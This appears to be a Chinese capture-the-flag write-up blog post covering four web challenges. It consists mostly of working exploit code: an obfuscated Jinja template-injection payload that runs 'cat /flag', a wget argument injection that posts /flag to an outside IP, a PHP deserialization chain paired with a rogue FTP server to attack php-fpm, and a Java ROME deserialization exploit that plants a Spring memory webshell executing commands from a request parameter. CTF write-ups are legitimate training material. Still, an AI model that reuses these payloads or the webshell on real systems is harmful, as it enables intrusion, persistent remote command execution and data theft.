战疫 WP

Posted on 2021-11-08,7 min read

MagicMail

本地开个smtp服务

import smtpd
import asyncore
import base64
from HTMLParser import HTMLParser
class CustomSMTPServer(smtpd.SMTPServer):

    def process_message(self, peer, mailfrom, rcpttos, data):
        re=data.split("Subject:")[1].split("\n")
        for f in re:
            try:
                print(HTMLParser().unescape(base64.b64decode(f)))
            except:
                pass

server = CustomSMTPServer(('0.0.0.0', 26), None)

asyncore.loop()

远程发邮件存在模板注入

sender=1&receiver=1&subject=1&message={{
()|attr("\x5f\x5fc\x6cass\x5f\x5f")|attr("\x5f\x5fmr\x6f\x5f\x5f")|attr("\x5f\x5fge\x74item\x5f\x5f")(1)|attr("\x5f\x5f\x73\x75\x62cl\x61ss\x65s\x5f\x5f")()|attr("\x5f\x5fge\x74item\x5f\x5f")(134)|attr("\x5f\x5finit\x5f\x5f")|attr("\x5f\x5fglob\x61ls\x5f\x5f")|attr("\x5f\x5fge\x74item\x5f\x5f")("\x5f\x5fb\x75\x69ltins\x5f\x5f")|attr("\x5f\x5fge\x74item\x5f\x5f")("ev\x61l")("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x22\x6f\x73\x22\x29\x2e\x70\x6f\x70\x65\x6e\x28\x22\x63\x61\x74\x20\x2f\x66\x6c\x61\x67\x22\x29\x2e\x72\x65\x61\x64\x28\x29")
}}

CheckIN

wget参数注入
argv=1&argv=--post-file&argv=/flag&argv=IP

eaaasyphp

反序列化+ftp打fpm

<?php
class Esle{
}
class Bypass{
    public $str4;
    public function __construct($str4){
        $this->str4=$str4;
    }
}
class Welcome{
    public $username;
    public function __construct($username){
        $this->username=$username;
    }
}
class Bunny {
    public $filename;
    public $data;
    public function __construct($filename){
        $this->filename=$filename;
    }
}
class Hint{
    public $hint=false;
}
$Hint=new Hint();
$Bunny=new Bunny("ftp://1.15.67.142:22:8000/a");
$Welcome=new Welcome($Bunny);
$Esle=new Esle();
$Bypass=new Bypass($Welcome,$Hint);
echo (serialize(array($Esle,$Bypass)));

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.bind(('0.0.0.0', 22))
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n') #STOR / (2)
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()
print("endd")

EasyJaba

反序列化。不能有hashmap和BadAttributeValueExpException
有ROME依赖。刚好需要一个tostring。

自己加了个tostring
题目不出网。考虑写内存马+命令执行回显

ROME exp

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.apache.commons.io.FileUtils;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.Base64;
public class Exp {
    public static void main(String[] args) throws Exception{
        // 生成恶意 bytecodes
        String code = "{printName();}";
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(test.class.getName());
        clazz.setSuperclass(pool.get(Class.forName("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet").getName()));
        clazz.makeClassInitializer().insertBefore(code);
        byte[][] bytecodes = new byte[][]{clazz.toBytecode()};
        File classFilePath = new File(new File(System.getProperty("user.dir"), ""), "test.class");
        FileUtils.writeByteArrayToFile(classFilePath, clazz.toBytecode());
        // 实例化类并设置属性
        TemplatesImpl templatesimpl = new TemplatesImpl();
        Field fieldByteCodes = templatesimpl.getClass().getDeclaredField("_bytecodes");
        fieldByteCodes.setAccessible(true);
        fieldByteCodes.set(templatesimpl, bytecodes);
        Field fieldName = templatesimpl.getClass().getDeclaredField("_name");
        fieldName.setAccessible(true);
        fieldName.set(templatesimpl, "test");
        Field fieldTfactory = templatesimpl.getClass().getDeclaredField("_tfactory");
        fieldTfactory.setAccessible(true);
        fieldTfactory.set(templatesimpl, Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl").newInstance());
        // 要通过2个objectbean才能达成触发条件
        ObjectBean objectBean1 = new ObjectBean(Templates.class, templatesimpl);
        //objectBean1.toString();
        // 输出base64后的序列化数据
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream out = new ObjectOutputStream(byteArrayOutputStream);
        out.writeObject(objectBean1);
        byte[] sss = byteArrayOutputStream.toByteArray();
        out.close();
        String exp = Base64.getEncoder().encodeToString(sss);
        System.out.println(exp);
        //byte[] obj_byte = Base64.getDecoder().decode(exp);
        //InputStream inputStream = new ByteArrayInputStream(obj_byte);
        //ObjectInputStream obj = new ObjectInputStream(inputStream);
        //obj.readObject().toString();
    }
}


内存马:test.java

import org.springframework.util.Base64Utils;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
public class guoke {
    public static void printName() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, NoSuchFieldException, ClassNotFoundException, InstantiationException {
        String className = "com.lyzy.ctf.ezjaba.controller.cmdController";
        byte[] bytes = Base64Utils.decodeFromString("yv66vgAAADQAhwoAIABGCAA4CwBHAEgLAEkASggASwgATAoATQBOCgAMAE8IAFAKAAwAUQcAUgcAUwgAVAgAVQoACwBWCABXCABYBwBZCgALAFoKAFsAXAoAEgBdCABeCgASAF8KABIAYAoAEgBhCgASAGIKAGMAZAoAYwBlCgBjAGIHAGYHAGcHAGgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEALkxjb20vbHl6eS9jdGYvZXpqYWJhL2NvbnRyb2xsZXIvY21kQ29udHJvbGxlcjsBAAlwcmVIYW5kbGUBAGQoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0OylaAQABcAEAGkxqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXI7AQAGd3JpdGVyAQAVTGphdmEvaW8vUHJpbnRXcml0ZXI7AQABbwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAAWMBABNMamF2YS91dGlsL1NjYW5uZXI7AQAHcmVxdWVzdAEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEAB2hhbmRsZXIBABJMamF2YS9sYW5nL09iamVjdDsBAARjb2RlAQANU3RhY2tNYXBUYWJsZQcAUwcAaQcAUgcAWQcAZwcAagcAawcAbAcAZgEACkV4Y2VwdGlvbnMBAApTb3VyY2VGaWxlAQASY21kQ29udHJvbGxlci5qYXZhDAAhACIHAGoMAG0AbgcAawwAbwBwAQAAAQAHb3MubmFtZQcAcQwAcgBuDABzAHQBAAN3aW4MAHUAdgEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgEAEGphdmEvbGFuZy9TdHJpbmcBAAdjbWQuZXhlAQACL2MMACEAdwEABy9iaW4vc2gBAAItYwEAEWphdmEvdXRpbC9TY2FubmVyDAB4AHkHAHoMAHsAfAwAIQB9AQACXEEMAH4AfwwAgACBDACCAHQMAIMAIgcAaQwAhACFDACGACIBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAsY29tL2x5enkvY3RmL2V6amFiYS9jb250cm9sbGVyL2NtZENvbnRyb2xsZXIBAEFvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L2hhbmRsZXIvSGFuZGxlckludGVyY2VwdG9yQWRhcHRlcgEAE2phdmEvaW8vUHJpbnRXcml0ZXIBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UBABBqYXZhL2xhbmcvT2JqZWN0AQAMZ2V0UGFyYW1ldGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVzdGFydAEAFSgpTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEAB2hhc05leHQBAAMoKVoBAARuZXh0AQAFY2xvc2UBAAV3cml0ZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABWZsdXNoACEAHwAgAAAAAAACAAEAIQAiAAEAIwAAAC8AAQABAAAABSq3AAGxAAAAAgAkAAAABgABAAAACAAlAAAADAABAAAABQAmACcAAAABACgAKQACACMAAAG6AAYACQAAAK8rEgK5AAMCADoEGQTGAKEsuQAEAQA6BRIFOgYSBrgAB7YACBIJtgAKmQAiuwALWQa9AAxZAxINU1kEEg5TWQUZBFO3AA86B6cAH7sAC1kGvQAMWQMSEFNZBBIRU1kFGQRTtwAPOge7ABJZGQe2ABO2ABS3ABUSFrYAFzoIGQi2ABiZAAsZCLYAGacABRkGOgYZCLYAGhkFGQa2ABsZBbYAHBkFtgAdpwAFOgUDrASsAAEADwCmAKkAHgADACQAAABGABEAAAAKAAoACwAPAA0AFwAOABsAEAArABEASgATAGYAFQB8ABYAkAAXAJUAGACcABkAoQAaAKYAHACpABsAqwAdAK0AHwAlAAAAZgAKAEcAAwAqACsABwAXAI8ALAAtAAUAGwCLAC4ALwAGAGYAQAAqACsABwB8ACoAMAAxAAgAAACvACYAJwAAAAAArwAyADMAAQAAAK8ANAA1AAIAAACvADYANwADAAoApQA4AC8ABAA5AAAAOQAH/gBKBwA6BwA7BwA6/AAbBwA8/AAlBwA9QQcAOv8AGgAFBwA+BwA/BwBABwBBBwA6AAEHAEIBAQBDAAAABAABAB4AAQBEAAAAAgBF");
        //控制器的bytecode
        ClassLoader classLoader = Thread.currentThread().getClass().getClassLoader();
        Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        method.setAccessible(true);
        method.invoke(classLoader, className, bytes, 0, bytes.length);
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping) context.getBean("requestMappingHandlerMapping");
        Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
        field.setAccessible(true);
        ArrayList<Object> adaptedInterceptors = (ArrayList<Object>) field.get(abstractHandlerMapping);
        adaptedInterceptors.add(classLoader.loadClass(className).newInstance());
    }
}

命令执行回显的控制器。

package com.lyzy.ctf.ezjaba.controller;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class cmdController  extends HandlerInterceptorAdapter {
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        String code = request.getParameter("code");
        if(code != null){
            try {
                java.io.PrintWriter writer = response.getWriter();
                String o = "";
                ProcessBuilder p;
                if(System.getProperty("os.name").toLowerCase().contains("win")){
                    p = new ProcessBuilder(new String[]{"cmd.exe", "/c", code});
                }else{
                    p = new ProcessBuilder(new String[]{"/bin/sh", "-c", code});
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
                o = c.hasNext() ? c.next(): o;
                c.close();
                writer.write(o);
                writer.flush();
                writer.close();
            }catch (Exception e){
            }
            return false;
        }
        return true;
    }
}


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